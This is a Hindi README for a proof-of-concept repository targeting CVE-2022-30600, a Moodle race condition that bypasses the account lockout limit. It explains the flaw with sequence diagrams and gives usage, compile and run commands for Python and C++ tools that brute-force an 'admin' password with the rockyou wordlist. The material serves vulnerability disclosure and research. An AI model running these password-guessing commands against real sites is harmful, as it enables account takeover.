
CVE-2022-30600 के लिए एक प्रूफ ऑफ कॉन्सेप्ट
इस रिपॉजिटरी में CVE-2022-30600 का शोषण करने वाले प्रूफ ऑफ कॉन्सेप्ट के 2 कार्यान्वयन शामिल हैं।
CVE-2022-30600 एक सुरक्षा भेद्यता है जो हमलावर को moodle वेबऐप के भीतर खाता लॉकआउट सीमा को बायपास करने की अनुमति देती है।
जैसा कि NVD डेटाबेस https://nvd.nist.gov/vuln/detail/CVE-2022-30600 में निम्नलिखित प्रविष्टि द्वारा उल्लिखित है, नीचे दिए गए संस्करण इस शोषण के लिए संवेदनशील माने जाते हैं।
3.9 - 3.9.13
3.10 - 3.10.10
3.11 - 3.11.6
जैसा कि इस भेद्यता को पैच करने के लिए उपयोग किए गए कमिट में उल्लिखित है, समस्या डेटाबेस में login_failed_count मान को एक्सेस और बढ़ाने के लिए उपयोग किए जाने वाले तर्क में है।
यदि 1 से अधिक समवर्ती लॉगिन अनुरोध होते हैं, तो moodle वेबऐप एप्लिकेशन के भीतर लॉगिन मान की सही ढंग से जाँच और अद्यतन करने में विफल हो सकता है। इसके परिणामस्वरूप 2 या अधिक लॉगिन विफलताओं को केवल 1 लॉगिन विफलता के रूप में गिना जाता है।
इसे बेहतर ढंग से समझने के लिए, नीचे दिया गया आरेख क्लाइंट, वेबऐप और डेटाबेस के दृष्टिकोण से एक असफल लॉगिन अनुरोध का उच्च-स्तरीय विवरण है।
sequenceDiagram
participant C as Client
participant W as Webapp
participant D as Database
C->>W: Login Request
W->>D: Requests failed_login_attempt
D->>W: failed_login_attempt = 0
W->>W: local failed_login_attempt = 0
W->>W: local failed_login_attempt = 1
W->>D: failed_login_attempt = 1
W->>C: Login Failedपरिणाम यह है कि डेटाबेस में failed_login_attempt मान सही है और बाद के लॉगिन प्रयास मान को सही ढंग से अपडेट करेंगे।
यदि कोई हमलावर कई समवर्ती लॉगिन अनुरोध भेजता है। तब निम्नलिखित समस्या उत्पन्न होती है।
sequenceDiagram
participant C as Client
participant W as Webapp
participant D as Database
C->>W: Login Request (session 1)
C->>W: Login Request (session 2)
W->>D: Requests failed_login_attempt (session 1)
W->>D: Requests failed_login_attempt (session 2)
D->>W: failed_login_attempt = 0 (session 1)
D->>W: failed_login_attempt = 0 (session 2)
W->>W: local failed_login_attempt = 0 (session 1)
W->>W: local failed_login_attempt = 0 (session 2)
W->>W: local failed_login_attempt = 1 (session 1)
W->>W: local failed_login_attempt = 1 (session 2)
W->>D: failed_login_attempt = 1 (session 1)
W->>D: failed_login_attempt = 1 (session 2)
W->>C: Login Failed (session 1)
W->>C: Login Failed (session 2)इस इंटरैक्शन का परिणाम यह है कि failed_login_attempt डेटाबेस मान केवल 1 से बढ़ाया जाता है, भले ही 2 असफल लॉगिन अनुरोध हुए हों। इसे सैकड़ों अनुरोधों तक बढ़ाया जा सकता है, जिसमें सीमाएँ यह हैं कि क्लाइंट कितने समवर्ती अनुरोध कर सकता है और वेब सर्वर एक साथ कितने अनुरोधों को प्रबंधित कर सकता है।
इसके अलावा, यदि किसी हमलावर के पास कई क्लाइंट (जैसे बॉटनेट) तक पहुंच है और वे इन अनुरोधों को करने के समय को सिंक्रोनाइज़ करने में सक्षम हैं, तो हमलावर एक क्लाइंट का उपयोग करके सीमाओं को पार कर सकता है और हमले को कम करना अधिक कठिन बना सकता है।
poc.py इस हमले का python3 कार्यान्वयन है। यह समवर्ती अनुरोध करने के लिए थ्रेड का उपयोग करता है। यह प्रूफ ऑफ कॉन्सेप्ट काम करता है, लेकिन python3 में मौजूद ग्लोबल इंटरप्रेटर लॉक इस परिस्थिति में कई थ्रेड का उपयोग करने के लाभ को बाधित करता है। मैं दृढ़ता से C++ कार्यान्वयन का उपयोग करने की सलाह देता हूं क्योंकि जब हमला एकल क्लाइंट पर किया जाता है तो यह बेहतर काम करता है।
poc.py [-h] -u USERNAME -url TARGET -w WORDLIST -t THREADS [-a ATTEMPTS] [-d DELAY]
विकल्प:
-h, --help
यह सहायता संदेश दिखाता है
-u USERNAME, --username USERNAME
लक्षित खाते का उपयोगकर्ता नाम
-url TARGET, --target TARGET
लक्षित moodle वेबऐप का आधार URL
-w WORDLIST, --wordlist WORDLIST
उपयोग की जा रही वर्डलिस्ट फ़ाइल का पथ
-t THREADS, --threads THREADS
प्रत्येक प्रयास के लिए बनाए गए थ्रेड की संख्या
-a ATTEMPTS, --attempts ATTEMPTS
आप जितने प्रयास करना चाहते हैं उनकी संख्या। डिफ़ॉल्ट 1 है
-d DELAY, --delay DELAY
प्रत्येक प्रयास के बीच सेकंड की संख्या। डिफ़ॉल्ट मान 2 है
python3 poc.py -u admin -url https://moodle/ -w /usr/share/wordlists/rockyou.txt -t 15 -a 8
लक्ष्य : https://moodle/
खाता उपयोगकर्ता नाम : admin
वर्डलिस्ट : /usr/share/wordlists/rockyou.txt
थ्रेड : प्रत्येक प्रयास में 15 लॉगिन अनुरोध किए जाएंगे
प्रयास : हमला कुल 8 बार दोहराया जाएगा।
इस उदाहरण में कुल 120 (8 * 15) लॉगिन अनुरोध किए जाएंगे। प्रत्येक प्रयास के बीच 2 सेकंड का विलंब होगा।
poc.cpp हमले का C++ कार्यान्वयन है जो हमले को करने के लिए curl लाइब्रेरी का उपयोग करता है। इसलिए, एप्लिकेशन को संकलित करने के लिए इसे कुछ कंपाइलर फ्लैग की आवश्यकता होती है। कुल मिलाकर यह कार्यान्वयन python3 संस्करण से बेहतर काम करता है क्योंकि थ्रेड क्लाइंट डिवाइस के सभी कोर का उपयोग करने में सक्षम हैं, जिससे कम समय में अधिक समवर्ती कनेक्शन की अनुमति मिलती है। इसका मतलब है कि शोषण अधिक सुसंगत रूप से काम करने में सक्षम है।
g++ poc.cpp -o poc -lcurl
उपयोग:
poc [OPTION...]
-a, --attempts
हमला कितनी बार किया जाता है।
-t, --threads
प्रत्येक प्रयास में उपयोग करने के लिए थ्रेड की संख्या।
-n, --username
आप जिस खाते को लक्षित कर रहे हैं उसका उपयोगकर्ता
-u, --URL
moodle वेबऐप का आधार URL
-d, --delay
प्रयासों के बीच समय विलंब। डिफ़ॉल्ट 5 है
-v, --version
संस्करण दिखाएं
-h, --help
सहायता संदेश प्रदर्शित करें
-w, --wordlist arg
पासवर्ड की वर्डलिस्ट।
./poc -w /usr/share/wordlists/rockyou.txt -u https://moodle/ -n admin -a 3 -t 5 -d 2
wordlist : /usr/share/wordlists/rockyou.txt
URL : https://moodle/
account username : admin
attempts : 3 attempts will be made
threads : 5 threads will be used in each attempt
delay : There will be a 2 second delay between each attempt
इन स्क्रिप्ट को विकसित, परीक्षण और डीबग करने के लिए मैंने एक वर्चुअल मशीन बनाई। इस वर्चुअल मशीन ने निम्नलिखित सॉफ्टवेयर और संस्करणों का उपयोग किया।
Moodle 3.9.0 PHP 7.2.34 MySQL 8.0.30 Ubuntu 5.15.0-41-generic Apache 2.4.52
मैं अपने स्रोत कोड का अवैध गतिविधि में उपयोग किए जाने का समर्थन नहीं करता।